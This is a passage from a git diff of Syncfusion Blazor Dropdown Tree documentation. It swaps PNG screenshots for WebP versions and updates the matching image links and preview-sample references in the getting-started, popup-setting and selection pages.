 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDown Tree component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DropdownTree).
\ No newline at end of file
diff --git a/blazor/dropdown-tree/getting-started-with-web-app.md b/blazor/dropdown-tree/getting-started-with-web-app.md
index 20430ab8d0..7e8d47c72b 100644
--- a/blazor/dropdown-tree/getting-started-with-web-app.md
+++ b/blazor/dropdown-tree/getting-started-with-web-app.md
@@ -197,6 +197,6 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Dropdown Tree component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DropdownTree).
\ No newline at end of file
diff --git a/blazor/dropdown-tree/getting-started.md b/blazor/dropdown-tree/getting-started.md
index 1df6c892ca..8a3305deb6 100644
--- a/blazor/dropdown-tree/getting-started.md
+++ b/blazor/dropdown-tree/getting-started.md
@@ -178,6 +178,6 @@ The `TValue` parameter specifies the type of the [Value](https://help.syncfusion
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLfNiVkAGwJAcqZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dropdown Tree Component](./images/blazor-dropdowntree-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DropdownTree).
\ No newline at end of file
diff --git a/blazor/dropdown-tree/images/Blazor-server-app-creation.png b/blazor/dropdown-tree/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/dropdown-tree/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/Blazor-server-app-creation.webp b/blazor/dropdown-tree/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/dropdown-tree/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-app-interactive-mode.png b/blazor/dropdown-tree/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-app-interactive-mode.webp b/blazor/dropdown-tree/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-create-web-app.png b/blazor/dropdown-tree/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-create-web-app.webp b/blazor/dropdown-tree/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-create-web-app.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.PNG
deleted file mode 100644
index ba7c7e8c15..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.webp
new file mode 100644
index 0000000000..620900b481
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-open.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.PNG
deleted file mode 100644
index 3cfd32edc4..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.webp
new file mode 100644
index 0000000000..9637a726a6
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-height.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.PNG
deleted file mode 100644
index 9c75b10290..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.webp
new file mode 100644
index 0000000000..444ce84e9e
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-popup-width.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.PNG
deleted file mode 100644
index cb5bc3a327..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.webp
new file mode 100644
index 0000000000..c19058f190
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-prevent-open.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.PNG
deleted file mode 100644
index d526405158..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.webp
new file mode 100644
index 0000000000..893eef55fe
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-selectall.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.PNG
deleted file mode 100644
index ac36976065..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.webp
new file mode 100644
index 0000000000..53fcc581df
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-sort-order.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.PNG b/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.PNG
deleted file mode 100644
index 31703e4907..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.webp
new file mode 100644
index 0000000000..6e5d0c05fb
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-validation.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.png b/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.png
deleted file mode 100644
index 219312d3ef..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.webp
new file mode 100644
index 0000000000..c8b7c0b7ba
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component-valuechanging.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component.png b/blazor/dropdown-tree/images/blazor-dropdowntree-component.png
deleted file mode 100644
index 9fa7b89a50..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-dropdowntree-component.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-dropdowntree-component.webp b/blazor/dropdown-tree/images/blazor-dropdowntree-component.webp
new file mode 100644
index 0000000000..66e8793dc4
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-dropdowntree-component.webp differ
diff --git a/blazor/dropdown-tree/images/blazor-wasm-app-template.png b/blazor/dropdown-tree/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/dropdown-tree/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/blazor-wasm-app-template.webp b/blazor/dropdown-tree/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/dropdown-tree/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.png b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.png
deleted file mode 100644
index 903f98841c..0000000000
Binary files a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.webp b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.webp
new file mode 100644
index 0000000000..d44c820db2
Binary files /dev/null and b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-local-filter.webp differ
diff --git a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.png b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.png
deleted file mode 100644
index 8ca1ba7e48..0000000000
Binary files a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.webp b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.webp
new file mode 100644
index 0000000000..7ac5c2d1ce
Binary files /dev/null and b/blazor/dropdown-tree/images/filter/blazor-dropdowntree-placeholder.webp differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.PNG b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.PNG
deleted file mode 100644
index 3920037d0f..0000000000
Binary files a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.webp b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.webp
new file mode 100644
index 0000000000..743e5d4d25
Binary files /dev/null and b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-get-selected-value.webp differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.PNG b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.PNG
deleted file mode 100644
index 620cfb3850..0000000000
Binary files a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.webp b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.webp
new file mode 100644
index 0000000000..db53dc228c
Binary files /dev/null and b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-multi-selection.webp differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.PNG b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.PNG
deleted file mode 100644
index fb2ef07bdc..0000000000
Binary files a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.webp b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.webp
new file mode 100644
index 0000000000..28e0804503
Binary files /dev/null and b/blazor/dropdown-tree/images/selection/blazor-dropdowntree-single-selection.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.png
deleted file mode 100644
index 279a3e39c8..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.webp
new file mode 100644
index 0000000000..d5aecd5379
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-active.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.PNG
deleted file mode 100644
index de71bed2d6..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.webp
new file mode 100644
index 0000000000..11cd442ca6
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-arrow.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.PNG
deleted file mode 100644
index 7eb52fc6bd..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.webp
new file mode 100644
index 0000000000..df367fbc93
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-container.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclas.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclas.PNG
deleted file mode 100644
index 74fe97b1c6..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclas.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclass.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclass.webp
new file mode 100644
index 0000000000..8c8fadd938
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-cssclass.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.PNG
deleted file mode 100644
index ec63832379..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.webp
new file mode 100644
index 0000000000..6d2f841cd4
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-disabled.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.png
deleted file mode 100644
index 417e72dcbd..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.webp
new file mode 100644
index 0000000000..9fe367c3b6
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-focus.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.png
deleted file mode 100644
index d0842a8e4c..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.webp
new file mode 100644
index 0000000000..3008c79bd9
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-font.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.PNG
deleted file mode 100644
index 64b21a8d90..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.webp
new file mode 100644
index 0000000000..8b98e119de
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-html-attribute.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.PNG
deleted file mode 100644
index ce9230a5ec..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.webp
new file mode 100644
index 0000000000..7b4b66bb1d
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-icon.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.PNG
deleted file mode 100644
index 1e41fbe806..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.webp
new file mode 100644
index 0000000000..0786d89b9c
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-outline.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.PNG b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.PNG
deleted file mode 100644
index ec5ad06518..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.webp
new file mode 100644
index 0000000000..c43ea13f2b
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-popup.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.png
deleted file mode 100644
index da49ac285f..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.webp
new file mode 100644
index 0000000000..b2e866b3a4
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-svg.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.png
deleted file mode 100644
index 99f662f3bf..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.webp
new file mode 100644
index 0000000000..cee42c7020
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-textwrap.webp differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.png b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.png
deleted file mode 100644
index 2f4f1adf21..0000000000
Binary files a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.webp b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.webp
new file mode 100644
index 0000000000..56dfc3888f
Binary files /dev/null and b/blazor/dropdown-tree/images/styles/blazor-dropdowntree-component-tooltip.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.PNG
deleted file mode 100644
index beba7ab3e3..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.webp
new file mode 100644
index 0000000000..2bda6df2cf
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-failure-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.PNG
deleted file mode 100644
index ee90cecc04..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.webp
new file mode 100644
index 0000000000..5404b69f1f
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-float-label.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.PNG
deleted file mode 100644
index 1c0b8d549a..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.webp
new file mode 100644
index 0000000000..c44e405626
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-footer-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.PNG
deleted file mode 100644
index 1e9fea7561..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.webp
new file mode 100644
index 0000000000..374c9de0d9
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-header-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.PNG
deleted file mode 100644
index ee0309a9e7..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.webp
new file mode 100644
index 0000000000..dde036322f
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-item-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.PNG
deleted file mode 100644
index 549b9a3e71..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.webp
new file mode 100644
index 0000000000..564c4a4cbc
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-nodata-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.PNG b/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.PNG
deleted file mode 100644
index 0275636de4..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.PNG and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.webp
new file mode 100644
index 0000000000..351daa5827
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-placeholder.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.png b/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.png
deleted file mode 100644
index c3ae679ff4..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.webp
new file mode 100644
index 0000000000..57d4708f82
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-selecteditem-template.webp differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.png b/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.png
deleted file mode 100644
index c5c1d1a1a4..0000000000
Binary files a/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.png and /dev/null differ
diff --git a/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.webp b/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.webp
new file mode 100644
index 0000000000..e731f5fb99
Binary files /dev/null and b/blazor/dropdown-tree/images/template/blazor-dropdowntree-value-template.webp differ
diff --git a/blazor/dropdown-tree/popup-setting.md b/blazor/dropdown-tree/popup-setting.md
index 747b9ad09f..31ff63ca67 100644
--- a/blazor/dropdown-tree/popup-setting.md
+++ b/blazor/dropdown-tree/popup-setting.md
@@ -49,7 +49,7 @@ In the following sample, the `PopupWidth` is set as `300px`.
 }
 ```
 
-![Blazor Dropdown Tree with customizing popup width](./images/blazor-dropdowntree-component-popup-width.PNG)
+![Blazor Dropdown Tree with customizing popup width](./images/blazor-dropdowntree-component-popup-width.webp)
 
 ## Change the popup height
 
@@ -89,7 +89,7 @@ Customize the height of the popup using the [PopupHeight](https://help.syncfusio
 }
 ```
 
-![Blazor Dropdown Tree with customizing popup height](./images/blazor-dropdowntree-component-popup-height.PNG)
+![Blazor Dropdown Tree with customizing popup height](./images/blazor-dropdowntree-component-popup-height.webp)
 
 ## Change the popup ZIndex
 
@@ -208,7 +208,7 @@ You can programmatically open and close the popup by accessing the [`ShowPopupAs
 }
 ```
 
-![Show or Hide Popup in Blazor Dropdown Tree](./images/blazor-dropdowntree-component-open.PNG)
+![Show or Hide Popup in Blazor Dropdown Tree](./images/blazor-dropdowntree-component-open.webp)
 
 ## Show popup on initial loading
 
@@ -251,7 +251,7 @@ You can achieve this by using [ShowPopupAsync()](https://help.syncfusion.com/cr/
     }
 }
 ```
-![Show or Hide Popup in Blazor Dropdown Tree](./images/blazor-dropdowntree-component.png)
+![Show or Hide Popup in Blazor Dropdown Tree](./images/blazor-dropdowntree-component.webp)
 
 ## Preventing opening and closing
 
@@ -301,4 +301,4 @@ Prevent the popup open and close in the event argument [PopupEventArgs.cancel](h
 }
 ```
 
-![Blazor Dropdown Tree with Preventing opening and closing](./images/blazor-dropdowntree-component-prevent-open.png)
\ No newline at end of file
+![Blazor Dropdown Tree with Preventing opening and closing](./images/blazor-dropdowntree-component-prevent-open.webp)
\ No newline at end of file
diff --git a/blazor/dropdown-tree/selection.md b/blazor/dropdown-tree/selection.md
index 8644755430..3612009e40 100644
--- a/blazor/dropdown-tree/selection.md
+++ b/blazor/dropdown-tree/selection.md
@@ -51,7 +51,7 @@ In the following example, you can select the single node only.
 }
 ```
 
-![Selection in Blazor Dropdown Tree.](./images/selection/blazor-dropdowntree-single-selection.png)
